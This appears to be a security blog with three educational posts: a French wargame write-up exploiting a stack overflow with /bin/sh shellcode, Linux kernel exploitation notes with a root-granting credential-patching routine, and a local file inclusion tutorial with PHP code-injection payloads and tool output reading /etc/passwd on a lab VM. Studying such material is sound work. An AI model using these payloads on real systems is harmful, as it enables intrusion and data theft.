vendredi 27 décembre 2013

[Wargame] Ivan's Amenra : level 1

Hackeology : C'est un vieux challenge de 2010 plus disponible, je publie quand même le write-up (27/10/2010) qui trainait dans mes brouillons :). Enjoy.

Bonsoir!

J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.

La preuve:
level1@segment:~$ cat /proc/sys/kernel/randomize_va_space 
2

On est accueilli par un message tout ce qu'il y a de plus classique :
Linux segment 2.6.35.7-grsec #3 Thu Oct 14 18:08:24 CEST 2010 i686
_____    _____   ____   ________________   
\__  \  /     \_/ __ \ /    \_  __ \__  \  
 / __ \|  Y Y  \  ___/|   |  \  | \// __ \_
(____  /__|_|  /\___  >___|  /__|  (____  /
     \/      \/     \/     \/           \/ 


        Amenra wargaming platform

levels are in /home/levelX
pass are in /home/levelX/passwd

Infos :
Debian squeeze 2.6.34 (eglibc 2.11.2) with kernel patch grsecurity, w00t !
To check if level's stack is +x use : /sbin/paxctl -v levelX
Box reboots everyday
Box can be unstable
Box pic http://ivanlef0u.nibbles.fr/repo/img/boite2konserv.jpg 
Be ethical or die !

Tools :
objdump & readelf
gdb 7.2 : symbols files are avaible, if you want to use them do:
set debug-file-directory /usr/lib/debug
python 2.6.6
ruby 1.8.7
nano & vim
gcc 4.4.5 & nasm
strace & ltrace

contact : ivanlef0u@tuxfamily.org

Ok cool, maintenant passons au level1 si vous voulez bien :).

// level1.c
// gcc -fno-stack-protector -mpreferred-stack-boundary=2 -Wall level1.c -o level1
// paxctl -c -p -s -m -r -x -s level1
//

#include <string.h>

int main(int argc, char * argv[])
{
    char buf[8];

    strcpy(buf, (char *)argv);

    return 0;
}

Comme d'hab', on va regarder le code assembleur :
level1@segment:~$ gdb ./level1 
Reading symbols from /home/level1/level1...(no debugging symbols found)...done.
gdb$ disassemble main
Dump of assembler code for function main:
   0x080483c4 <+0>: push   ebp
   0x080483c5 <+1>: mov    ebp,esp
   0x080483c7 <+3>: sub    esp,0x10
   0x080483ca <+6>: mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>: mov    DWORD PTR [esp+0x4],eax
   0x080483d1 <+13>: lea    eax,[ebp-0x8]
   0x080483d4 <+16>: mov    DWORD PTR [esp],eax
   0x080483d7 <+19>: call   0x80482fc <strcpy@plt>
   0x080483dc <+24>: mov    eax,0x0
   0x080483e1 <+29>: leave  
   0x080483e2 <+30>: ret    
End of assembler dump.
gdb$ quit

Bon reste plus qu'à poutrer ça le plus simplement du monde :).

En reconstruisant la stack de tête, on a un truc du genre:
ret
sfp
buffer+4
buffer

On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.

level1@segment:~$ ~/level1 a b `printf "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
$ 

Pawned,

Pour le level2 ça va attendre encore un petit moment,

m_101

mercredi 18 décembre 2013

December HZV Meet : Linux Kernel Exploitation

Hello,

So, last Saturday, I did a talk about Linux Kernel Exploitation.
I went over some well known vulnerabilities and I ended with a demo on a kernel exploitation challenge (here) by Jason Donenfeld (his site).
The slides are at the end of this blog article.

In this post, I will detail a bit more some of the slides in the talk.
I will not detail every single slides, only the ones where I think there isn't enough details. If you don't understand some things, don't hesitate to comment ;).

So, let's dig in.

Linux Kernel

The kernel has LOTS of code.
15+ millions lines of code.
LOTS of code mean complexity, complexity mean bugs and bugs mean potential vulnerabilities ;).

Anyhow, the main gateway for users to interact with the kernel are syscalls and IOCTLs.

Behind a syscall, especially network ones, there is a TONS of code.
Effectively, for a bind() call, you have the same interface right?
Well, the kernel, find the corresponding structure using the socket descriptor you use with your bind call.
In that structure, there is what is called a struct proto_ops which contains callbacks for the corresponding protocol.

Exploiting the Linux Kernel


The Linux Kernel is made of code, it is software.
And everyone do know that software has bugs and vulnerabilities.
The Linux Kernel is not an exception.

You will mostly find all the vulnerabilities you know from userland:
- stack based buffer overflows
- heap based buffer overflows
- race conditions
- integer signedness issues
- information leaks
- initialisation issues
- etc
And some different ones:
- NULL Pointer Dereference
- stack overflow (real ones, not based on)
- process manipulation tricks (mempodipper)
- etc

__copy_to_user() and copy_to_user() are not the same.
The first one doesn't check that the address effectively live in userland while the second one do that.

The goal of exploiting the kernel is mainly to get root.


NULL Pointer Dereference

It was (is?) exploitable in kernel simply because you could (can?) map the NULL page in your exploit as it lives in userland. As such, it doesn't crash.


Heuristics


These are routines that allow you to have good enough approximations.
For instance, before 2.6.29, credentials were stored like this in the kernel:
/*
Kernel 2.6.23
include/linux/sched.h
*/

struct task_struct {
/* ... */

/* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;
    struct group_info *group_info;
    kernel_cap_t   cap_effective, cap_inheritable, cap_permitted;
    unsigned keep_capabilities:1;
    struct user_struct *user;

/* ... */
};

As you can see, uid, euid and suid will generally have the same value.
So if you set thos values to 0, your process basically has root privileges.
This heuristic is good enough as there is little chance that you will have 3 dwords with the same values in memory (don't forget we start to search from our current task_struct that represent our exploit process).

This routine before 2.6.29 was thus enough to get root:
// get root before 2.6.29 kernel
void get_root_pre_2_6_29 (void)
{
    uid_t uid, *cred;
    size_t byte;

    uid = getuid();
    cred = get_task_struct();
    if (!cred)
        return;

    for (byte = 0; byte < PAGE_SIZE; byte++) {
        if (cred[0] == uid
                && cred[1] == uid
                && cred[2] == uid) {
            cred[0] = cred[1] = cred[2] = cred[3] = 0;
            cred[4] = cred[5] = cred[6] = cred[7] = 0;
        }
        cred++;        
    }
}

Root in 3 big steps

You've basically got 3 big steps: prepare, trigger vulnerability, trigger payload.

Prepare


This is the most important step as this will greatly affect the reliability of your exploit.

This is where you:
- check that the kernel is vulnerable.
- use information leaks
- prepare the memory layout so you can predict reliably where your objects are
- place your shell code in memory

The avantage of shellcoding in the kernel : it is in C.

Trigger vulnerability


This is where you will exploit your vulnerability.

Patching memory, pointers and whatsoever.

Trigger payload


This is where you escalate the privileges of your process.

This is also where you fix the mayhem you may have caused earlier.
It is REALLY important to fix the things you messed up as otherwise the machine may crash later.
It is done in the payload as the payload is executed in kernel mode. root is in userland, root != kernel land, don't get confused about that.

After triggering the payload, you go back in userland and spawn your root shell or whatsoever.

Ok, now that you have the basic understanding, you are ready for some kernel goodies.

Linux Kernel Exploitation

I won't explain CVE-2009-2692 unless some people ask for it.
It is simple enough using the slides to comprehend.

Anyhow, let's dig in TUN NULL Pointer Dereference.

TUN NULL Pointer Dereference

This vulnerability is really interesting as there is something really special about it : the vulnerability is NOT in the source code. It is inserted at compilation.
Basically, what happens is that tun is dereferenced before checking that tun is NULL. As such, GCC considers that the pointer doesn't need checking as we use it before checking : GCC removes the NULL check. Boom, vulnerability.

The vulnerable code:
static unsigned int tun_chr_poll(struct file *file, poll_table * wait)
{
    struct tun_file *tfile = file->private_data;
    struct tun_struct *tun = __tun_get(tfile);
    struct sock *sk = tun->sk;
    unsigned int mask = 0;

    if (!tun)
        return POLLERR;

    /* ... */

    if (sock_writeable(sk) ||
        (!test_and_set_bit(SOCK_ASYNC_NOSPACE, &sk->sk_socket->flags) &&
         sock_writeable(sk)))
        mask |= POLLOUT | POLLWRNORM;

    /* ... */

    return mask;
}

So the NULL check doesn't exist and tun is NULL.
So we can map the NULL page and we thus control tun->sk.
We control sk->sk_socket->flags as well.
test_and_set_bit() set the last bit at 1.
Bang, we can set any NULL pointer to 1.
In the exploit, mmap() is chosen as the TUN device doesn't have a mmap().
mmap() need to be see to one even though we control the NULL page as internally mmap() is not called if it's NULL.
Put a trampoline at address 1 to jump over all the junk you've set up and go to your payload.
And that it's, you've escalated your privileges.

Why mmap() can't be NULL?


If you dig around in the kernel, here is what to look for:
// arch/x86/kernel/sys_x86_64.c:21: asmlinkage long sys_mmap(unsigned long addr, unsigned long len,
asmlinkage long sys_mmap(unsigned long addr, unsigned long len,
        unsigned long prot, unsigned long flags,
        unsigned long fd, unsigned long off)
{
    long error;
    struct file *file;

    error = -EINVAL;
    if (off & ~PAGE_MASK)
        goto out;

    error = -EBADF;
    file = NULL;
    flags &= ~(MAP_EXECUTABLE | MAP_DENYWRITE);
    if (!(flags & MAP_ANONYMOUS)) {
        file = fget(fd);
        if (!file)
            goto out;
    }
    down_write(&current->mm->mmap_sem);
    error = do_mmap_pgoff(file, addr, len, prot, flags, off >> PAGE_SHIFT);
    up_write(&current->mm->mmap_sem);

    if (file)
        fput(file);
out:
    return error;
}

If you go down do_mmap_pgoff(), you end up finding this code:
// mm/mmap.c

/* ... */ 

            if (!file->f_op || !file->f_op->mmap)
                return -ENODEV;
            break;

/* ... */

So here it is, if mmap() is NULL, it doesn't get called.
That is why it sets the mmap() pointer to 1.

Other exploits

This is where it gets pretty hard to explain as there is still tons of code to read x).
I dug a bit in vmsplice, RDS and perf_events exploits.

vmsplice use buffer overflow, but it's not a common one as it doesn't overwrite any function or return pointers. What it overwrites are compound page addresses (values we don't control) and then call a dtor pointer the attacker control.
Privileged code execution is gained in put_compound_page() through the call of a destructor function pointer that we control.
This dtor pointer obviously points to the attacker payload.
At the end of the article, I've attached some analysis I did for vmsplice. There is lot of code to cover though so I won't detail it in this post.

I haven't thoroughly analyzed the RDS exploit yet but it is a write-what-where.

The perf_events exploit is really interesting.
It 'basically' increment a INT handler pointer upper bytes in 64 bits so the pointer end up in userland. The exploit then return to this allocated memory containing the payload.
The exploit also use a neat trick to compute the perf_event array. An entire post is necessary as well to properly understand this exploit. Analysis have already been done anyhow by other people.

The challenge


The VM is a 64 Bit Linux system made especially by Jason Donenfeld (aka zx2c4).
The vulnerability allows us to write a 0 anywhere in kernel memory.
As such, in my exploit, I zeroed out some part of a proto_ops function pointer. mmap() it, put my payload over there, jump to it and fix it.

I debugged the exploit using registry information showed when the exploit crashed.

The exploit is included in the archive below.

Conclusion

As you can see, kernel exploitation has some similitudes with userland exploitation.
The differences mainly stem in the protections and the impact that a bug can have.
For instance, in kernel-land, not initializing a structure fully can have severe consequence (code execution through NULL pointer dereference, etc) while in userland, it may cause an infoleak but not directly code execution.

Moreover, this also shows that the kernel is piece of software and is as such exploitable.

Hope you enjoyed the article,

I welcome any feedback on it,

Cheers,

m_101


References



- The slides : here
- Jason Donenfield's challenge : here
- sgrakkyu's blog : http://kernelbof.blogspot.fr/
- Attacking the Core : Kernel Exploiting Note
- "A Guide to Kernel Exploitation: Attacking the Core" de Enrico Perla et Massimiliano Oldani
- Miscellaneous exploits : NULL deref sendpage, NULL deref /dev/net/tun, vmsplice, RDS write-what-where, integer problem perf_swevent
- MISC explaining perf_swevent exploit : Misc 69

vendredi 13 décembre 2013

LFI Exploitation : Basics, code execution and information leak

Hello,

Today, I played a bit with Metasploitable 2.
It is really easy to root, so that's not the interest of this blog post.

Anyhow, I played a bit around and I ended up coding a basic LFI exploit tool.

So yet another post on LFI exploitation ...

So what is LFI?


LFI stands for Local File Inclusion.
It is a vulnerability that allows you to include local files.
Many people do think that it's not really dangerous as it only includes LOCAL files.
Unfortunately (depending on which side of the barrier you are ...), it is false, you can execute code through a LFI.

So, how do you exploit it?


By including local files.
Yes, local files :).

These are the well-known techniques for LFI:
- apache logs
- /proc/self/environ
- php://input
- NULL Byte Injection
- path truncation
- directory traversal
- PHP filters
- image inclusion with PHP code

Apache logs

These were publicly accessible in old distros.
Now, these are only readable by proper users.

You'd basically inject PHP Code through the GET requests:
http://victim/<?php system ('id'); ?>

This would leave PHP code in the logs.

Then executing the PHP code is as simple as:
http://victim/?page=/var/log/apache2/access_log

Code execution if there is no proper rights on the logs (some old systems remain).

/proc/self/environ


This file is interesting as it stores stuffs like your USER-AGENT and whatsoever.

So, if you change your User-Agent to
<?php system ('id'); ?>
and use this:
http://victim/?page=/proc/self/environ


Yes, code execution!

php://input

Ok, this one execute PHP Code included into the POST DATA.

NULL byte injection and path truncation

This one is pretty neat.
Say you have the following code:

<?php include ($_GET['page'] . '.php'); ?>


Well, you can get rid of the '.php' extension using that trick.
Just append or looooooots of . or /., this will get normalized and voila no more extension.
NULL Byte poisoning doesn't work for PHP >= 5.3.4 as it's been fixed.

Reverse path truncation is mostly the same, just the ../ is before the file name.

PHP filters

This vulnerability is mainly for leaking files (.php and others).
This doesn't work if you have a prefix such as here:
<?php include ($prefix + $_GET['page'] + '.php'); ?>

You exploit it using this request for instance:
http://victim/?page=php://filter/read=convert.base64-encode/resource=index.php


As you guessed, the PHP filter is
php://filter/read=convert.base64-encode/resource=
.

image with PHP code


This one is about appending PHP code in an image.
Using the image in the LFI allows you to inject PHP code : the PHP interpreter interprets anything as code as long as it's in <?php ?>.

If you have a non exploitable LFI with /proc/self/environ or apaches logs and you don't have an extension concatenation, this can allow you to exploit it if you are able to upload images.
Let's say you have PHPBB and PhpLdapAdmin 1.1.0.5.
Well, you can upload an image using PHPBB then exploit the LFI in PhpLdapAdmin using the directory traversal trick => code execution.

Exploit


I wrote a basic LFI exploiter that uses PHP filter or /proc/self/environ tricks.
You can get it at LFI exploit tool .
The code isn't clean and it needs tons of improvement before being really a usable tool. I plan on improving it on a need to basis. The cookie functionality is not implemented yet, it is just a placeholder for now.
You can test it on multilidae on Metasploitable 2. I haven't tested it somewhere else yet.

Example of utilisation (this is on metasploitable 2):
$ ./exploit-lfi.py -h
usage: exploit-lfi.py [-h] --url URL [--action ACTION] --option OPTION
                      [--replace REPLACE] [--cookie COOKIE]

Exploit LFI

optional arguments:
  -h, --help            show this help message and exit
  --url URL, -u URL     URL to attack
  --action ACTION, -a ACTION
                        exec or read (default)
  --option OPTION, -o OPTION
                        Action argument
  --replace REPLACE, -r REPLACE
                        string to replace
  --cookie COOKIE, -c COOKIE
                        Cookie
$ ./exploit-lfi.py -u 'http://192.168.56.107/mutillidae/index.php?page=show-log.php' -o 'cat /etc/passwd'
[+] Checking vulnerability
Test url : http://192.168.56.107/mutillidae/index.php?page=whatever&
Is vulnerable with param page!
[+] Found vulnerability, new URL : http://192.168.56.107/mutillidae/index.php?page=PAYLOAD&
[+] Searching for root path
root : ../../../
[+] New URL : http://192.168.56.107/mutillidae/index.php?page=../../../PAYLOAD&
[+] Testing : {'path': '/proc/self/environ', 'type': 'header'}
    http://192.168.56.107/mutillidae/index.php?page=../../..//proc/self/environ&
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false 

Conclusion

As you can see in this introduction, code execution is quite possible with a LFI.
These aren't only information leaks vulnerabilities.


That's all for today.

Cheers,

m_101

Updates
- 18/12/2013 : the LFI exploit tool I wrote has been moved to its own repository : https://github.com/m101/lfipwn/ and cookie functionality does work.

References


- Basics on file inclusion : http://www.blackhatlibrary.net/File_Inclusion
- PhpLdapAdmin LFI : http://www.exploit-db.com/exploits/10410/
- path truncation part 1 : http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
- path truncation part 2 : http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/